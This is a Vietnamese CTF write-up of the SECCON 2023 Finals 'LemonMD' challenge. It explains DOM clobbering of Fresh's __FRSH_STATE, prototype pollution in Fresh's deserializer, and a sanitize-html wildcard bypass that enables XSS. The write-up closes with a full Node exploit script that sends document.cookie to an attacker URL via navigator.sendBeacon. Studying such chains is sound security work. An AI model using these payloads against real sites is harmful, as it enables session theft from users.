# LemonMD
### Preface
LemonMD là một challenge trong giải SECCON CTF 2023 Finals được tổ chức tại Japan, mình tình cờ có được source nên có tìm hiểu và thực hiện writeups này. Đây là writeups ghi lại quá trình mình học được những kiến thức từ challenge này
### Recon

Nhìn vào trang web đây có vẻ là như là một Markdown editor cho sẵn chúng ta chứng năng `Preview`. Có vẻ nó được triển khai bởi [Fresh](https://fresh.deno.dev/), một web framework của `Deno`
###### Fresh là một web framework hiện đại cho JavaScript và TypeScript, được thiết kế để giúp bạn tạo ra các ứng dụng web chất lượng cao, hiệu năng cao và cá nhân hóa. Bạn có thể sử dụng nó để tạo trang chủ, blog, một ứng dụng web lớn như GitHub hoặc Twitter, hoặc bất cứ điều gì bạn có thể nghĩ ra.
Fresh có những [đặc điểm nổi bật](https://fresh.deno.dev/docs/introduction) như sau:
- Không cần bước build
- Không cần cấu hình
- Render JIT (just-in-time) trên server
- Nhỏ gọn và nhanh chóng (không cần JavaScript ở phía client)
- Hỗ trợ hydrate một số component ở phía client
- Hỗ trợ TypeScript ngay từ đầu
- Routing theo cấu trúc file-system giống Next.js
`Fresh` được xây dựng dựa trên [`Islands Architecture`](https://deno.com/blog/intro-to-islands):
###### Islands Architecture là một kiến trúc cho việc tạo ra các ứng dụng web tương tác, nhanh chóng và có thể mở rộng, dựa trên nguyên tắc của Fresh. Nó cho phép ta tạo ra những trải nghiệm giao diện người dùng mượt mà, mà không phụ thuộc vào một thư viện UI cụ thể.

Islands Architecture hoạt động như sau:
- Ta tạo ra các component Preact độc lập, được gọi là islands, để cung cấp tính năng tương tác cho trang web của bạn. Các island này được render trên server và sau đó được hydrate trên client.
- Ta sử dụng Fresh để tạo ra các trang HTML tĩnh, được render trên server, mà không cần JavaScript ở phía client. Các trang này có thể chứa các island, mà Fresh sẽ tự động đánh dấu và gửi đến client.
- Ta có thể deploy ứng dụng web lên một nền tảng edge như Deno Deploy, để có được hiệu năng cao nhất và thời gian tải trang thấp nhất.
Islands Architecture giải quyết vấn đề của việc hydrate toàn bộ trang web, mà gây ra nhiều JavaScript không cần thiết được gửi đến client. Thay vào đó, chỉ những component cần tương tác mới được hydrate, giúp tiết kiệm băng thông và tăng tốc độ.
Quay trở lại challenge, ta có thể để ý đến một đoạn script được được gen trên trang web

```
<script type="module" nonce="7d998fb316254a129320d3bac492aea5">
import { deserialize } from "/_frsh/js/1ab1bc37e520e13a7deb141dfafd74b6a2d2f3be/deserializer.js";
import { signal } from "/_frsh/js/1ab1bc37e520e13a7deb141dfafd74b6a2d2f3be/signals.js";
const ST = document.getElementById("__FRSH_STATE").textContent;
const STATE = deserialize(ST, signal);
import { revive } from "/_frsh/js/1ab1bc37e520e13a7deb141dfafd74b6a2d2f3be/main.js";
import editor_default from "/_frsh/js/1ab1bc37e520e13a7deb141dfafd74b6a2d2f3be/island-editor.js";
import preview_default from "/_frsh/js/1ab1bc37e520e13a7deb141dfafd74b6a2d2f3be/island-preview.js";
const propsArr = typeof STATE !== "undefined" ? STATE[0] : [];
revive({editor_default:editor_default,preview_default:preview_default,}, propsArr);
</script>
```
Như đã trình bày ở trên Fresh sẽ tạo ra các component Preact độc lập, được gọi là islands. Ở đây nó render với một component sang JSON với value được truyền vào từ `const ST = document.getElementById("__FRSH_STATE").textContent;`
sau đó đi vào function `deserialize(ST, signal)`. Hãy chú ý đến value `id="__FRSH_STATE"`, câu hỏi đặt ra là liệu chúng ta có thể inject một HTML element với giá trị `id` đó, từ đó
kiểm soát được quá trình render và thay đổi `behavior` của ứng dụng hay không
Mình tiếp tục tập trung vào source code được cung cấp

```
import type { Signal } from "@preact/signals";
import { render } from "$gfm";
interface PreviewProps {
text: Signal<string>;
}
export default function Preview(props: PreviewProps) {
return (
<div
class="markdown-body"
dangerouslySetInnerHTML={{ __html: render(props.text.value) }}
/>
);
}
```
`Preview` render một parameter `text` như một Markdown content với [deno-gfm](https://github.com/denoland/deno-gfm). Ở đây nó ngăn chặn việc ta thực thi XSS bằng cách sử dụng [sanitize-html](https://github.com/apostrophecms/sanitize-html)
###### `sanitize-html` allows you to specify the tags you want to permit, and the permitted attributes for each of those tags. If an attribute is a known non-boolean value, and it is empty, it will be removed
Tuy nhiên nó lại cho phép ta thêm một số thuộc tính `id` vào một số thẻ HTML: https://github.com/denoland/deno-gfm/blob/0.2.5/mod.ts#L214-L219

Vậy giả thuyết ta đặt ra lúc đầu là đúng ta có thể kiểm soát được giá trị của `PreviewProps` với một thẻ HTML với `id="__FSH_STATE"`
OK !!! Let's started !!! Hãy lấy ví dụ về một payload
```<h1 id="__FRSH_STATE">{"v":{"0":[{"text":{"_f":"s","v":"Exploit !!!"}}]}}</h1>```

Fresh ngay lập tức render ra `Exploit !!!`

=> Prototype Pollution in Deserialization
https://github.com/denoland/fresh/releases
Tiếp tục ta đào sâu hơn vào implementation của `Fresh`, như trình bày ở trên sau khi truyền vào một values `text` nó sẽ đi tới hàm `deserialize`:
https://github.com/denoland/fresh/blob/1.6.1/src/runtime/deserializer.ts#L21-L63
```
export function deserialize(
str: string,
signal?: <T>(a: T) => Signal<T>,
): unknown {
/* ...snip... */
const { v, r } = JSON.parse(str, reviver);
const references = (r ?? []) as [string[], ...string[][]][];
for (const [targetPath, ...refPaths] of references) {
const target = targetPath.reduce((o, k) => k === null ? o : o[k], v);
for (const refPath of refPaths) {
if (refPath.length === 0) throw new Error("Invalid reference");
// set the reference to the target object
const parent = refPath.slice(0, -1).reduce(
(o, k) => k === null ? o : o[k],
v,
);
parent[refPath[refPath.length - 1]!] = target;
}
}
return v;
}
```
Hàm deserialize này nhận một chuỗi JSON và tùy chọn là một hàm tạo `Signal`. Sau đó, nó sử dụng `JSON.parse` để chuyển đổi chuỗi thành đối tượng. Hàm này cũng xử lý việc tái tạo tham chiếu giữa các đối tượng trong đồng thời giữ nguyên cấu trúc.
`v`: Đối tượng chính được tái tạo từ chuỗi JSON.
`r`: Một mảng chứa thông tin về các tham chiếu giữa các đối tượng.
Mỗi mục trong `r` chứa một mảng `targetPath` và một hoặc nhiều mảng `refPaths`.
Đối với mỗi mục, hàm sẽ tái tạo đối tượng từ `targetPath` và thiết lập tham chiếu giữa đối tượng này và các đối tượng khác sử dụng thông tin từ `refPaths`.
Cuối cùng, hàm trả về đối tượng chính đã được tái tạo từ chuỗi JSON, bao gồm cả việc giữ nguyên cấu trúc và tham chiếu giữa các đối tượng.
Có vẻ không có một hàm nào xử lý nhằm ngăn chặn thực thi Prototype Pollution, như vậy ta có thể pollution từ việc kiểm soát `props`.
`<h1 id="__FRSH_STATE">{"v":{"bar":"foo"},"r":[[["bar"],["constructor","prototype","polluted"]]]}</h1>`
"v": Là một đối tượng chứa dữ liệu, trong trường hợp này, ta dùng một thuộc tính là "bar" với giá trị là "foo".
"r": Là một mảng chứa thông tin về các tham chiếu giữa các đối tượng.
Mỗi mục trong r là một mảng chứa hai phần: một mảng `targetPath` và một mảng `refPaths`.
`[["bar"],["constructor","prototype","polluted"]]`: Đối tượng tại v.bar sẽ được tham chiếu từ một đối tượng có đường dẫn constructor.prototype.polluted.
Ví dụ: Nếu bạn có một đối tượng như `{ constructor: { prototype: { polluted: "foo" } } }`, thì `v.bar` sẽ trỏ đến "foo" thông qua tham chiếu được mô tả trong payload.

Ta có thể thấy thuộc tính `polluted` đã được polluted thành `foo`

=>Prototype Pollution Gadgets to XSS
Tuy nhiên như trình bày như trên libs có sử dụng một hàm check XSS là `sanitize-html`.
Công việc cuối cùng bây giờ chỉ cần bypass qua nó, sau khi research một lúc thì mình tìm được một kỹ thuật là `PP gadget to enable XSS attacks`
Hãy lấy ví dụ một chút mình có một đoạn code như sau
```
sanitizeHtml.defaults = {
allowedTags: ['h3', 'h4', 'h5', 'h6', 'blockquote', 'p', 'a', 'ul', 'ol',
'nl', 'li', 'b', 'i', 'strong', 'em', 'strike', 'abbr', 'code', 'hr', 'br', 'div',
'table', 'thead', 'caption', 'tbody', 'tr', 'th', 'td', 'pre', 'iframe'],
disallowedTagsMode: 'discard',
allowedAttributes: {
a: ['href', 'name', 'target'],
// We don't currently allow img itself by default, but this
// would make sense if we did. You could add srcset here,
// and if you do the URL is checked for safety
img: ['src']
},
// Lots of these won't come up by default because we don't allow them
selfClosing: ['img', 'br', 'hr', 'area', 'base', 'basefont', 'input', 'link', 'meta'],
// URL schemes we permit
allowedSchemes: ['http', 'https', 'ftp', 'mailto'],
allowedSchemesByTag: {},
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
allowProtocolRelative: true,
enforceHtmlBoundary: false
};
```
`allowedTags` property là một mảng, điều đó có nghĩa chúng ta không thể sử dụng nó trong prototype pollution.But wait!!! It’s worth noticing, có vẻ như ta có thể sử dụng được `iframes`. Tiếp theo, `allowedAttributes` được mô tả là một map, qua đó nếu thêm thuộc tính iframe: ['onload'] có thể tạo điều kiện cho việc thực hiện tấn công XSS thông qua `<iframe onload=alert(1)>`.
`allowedAttributes` được chuyển đổi thành một biến là `allowedAttributesMap`.
```
// as necessary if there are specific values defined.
var passedAllowedAttributesMapCheck = false;
if (!allowedAttributesMap ||
(has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) ||
(allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1) ||
(has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) ||
(allowedAttributesGlobMap['*'] && allowedAttributesGlobMap['*'].test(a))) {
passedAllowedAttributesMapCheck = true;
```
Chúng ta sẽ tập trung vào các kiểm tra trên allowedAttributesMap. Nói chung, kiểm tra xem thuộc tính có được phép cho thẻ hiện tại hay cho tất cả các thẻ (khi sử dụng ký tự đại diện '*'). Điều đáng chú ý là, sanitize-html có một loại bảo vệ nào đó chống lại việc ô nhiễm prototype:
```
// Avoid false positives with .__proto__, .hasOwnProperty, etc.
function has(obj, key) {
return ({}).hasOwnProperty.call(obj, key);
}
```
`hasOwnProperty` kiểm tra xem một đối tượng có một thuộc tính hay không mà không đi qua chuỗi prototype. Điều này có nghĩa là tất cả các cuộc gọi hàm has không bị ảnh hưởng bởi ô nhiễm prototype. Tuy nhiên, hàm has không được sử dụng cho ký tự đại diện ('wildcard')!
`(allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1)`
So if I pollute the prototype with:
`Object.prototype['*'] = ['onload']`
Then onload will be a valid attribute to any tag, which is proven below:

Trở lại với challenge từ phân tích trên ta có thể sử dụng
`({})["*"] -> ["onerror"]` để cho phép ta sử dụng `onerror` attribute for sanitization và thực thi XSS attacks
```
<h1 id="__FRSH_STATE">${JSON.stringify({
v: {
0: [
{
text: {
_f: "s",
v: `<img src=0 onerror="navigator.sendBeacon('${ATTACKER_BASE_URL}', document.cookie)">`,
},
},
],
"*": ["onerror"],
},
r: [[["*"], ["constructor", "prototype", "*"]]],
})}</h1>
```
Trong đoạn JSON trên , ta tạo một đối tượng `v` đặc trưng cho giá trị (value), trong đó có một đối tượng với thuộc tính `text` chứa một chuỗi HTML được mã hóa.
Chuỗi HTML chứa một thẻ ``<img>`` với sự kiện `onerror`, được sử dụng để thực hiện cuộc tấn công khi hình ảnh không tải được. Khi hình ảnh trong thẻ ``<img>`` không tải được (onerror được kích hoạt), một yêu cầu sẽ được gửi đến địa chỉ `ATTACKER_BASE_URL`.
### Exploit Code
```
const fastify = require("fastify")();
const fail = (message) => {
console.error(message);
return process.exit(1);
};
const BOT_BASE_URL = process.env.BOT_BASE_URL ?? fail("No BOT_BASE_URL");
const WEB_BASE_URL = process.env.WEB_BASE_URL ?? fail("No BOT_BASE_URL");
const ATTACKER_BASE_URL =
process.env.ATTACKER_BASE_URL ?? fail("No ATTACKER_BASE_URL");
const PORT = "8080";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const reportUrl = (url) =>
fetch(`${BOT_BASE_URL}/api/report`, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ url }),
}).then((r) => r.text());
const start = async () => {
const text = `<h1 id="__FRSH_STATE">${JSON.stringify({
v: {
0: [
{
text: {
_f: "s",
v: `<img src=0 onerror="navigator.sendBeacon('${ATTACKER_BASE_URL}', document.cookie)">`,
},
},
],
"*": ["onerror"],
},
r: [[["*"], ["constructor", "prototype", "*"]]],
})}</h1>`;
const body = new FormData();
body.set("text", text);
const res = await fetch(`${WEB_BASE_URL}/save`, {
method: "POST",
body,
});
const targetUrl = `http://web:3000${new URL(res.url).pathname}`;
console.log({ targetUrl });
fastify.post("/", async (req, reply) => {
// You got a flag!
console.log(req.body);
process.exit(0);
});
fastify.listen({ port: PORT, host: "0.0.0.0" }, async (err, address) => {
if (err) fail(err.toString());
await sleep(3 * 1000);
await reportUrl(targetUrl);
fail("Failed");
});
};
start();
```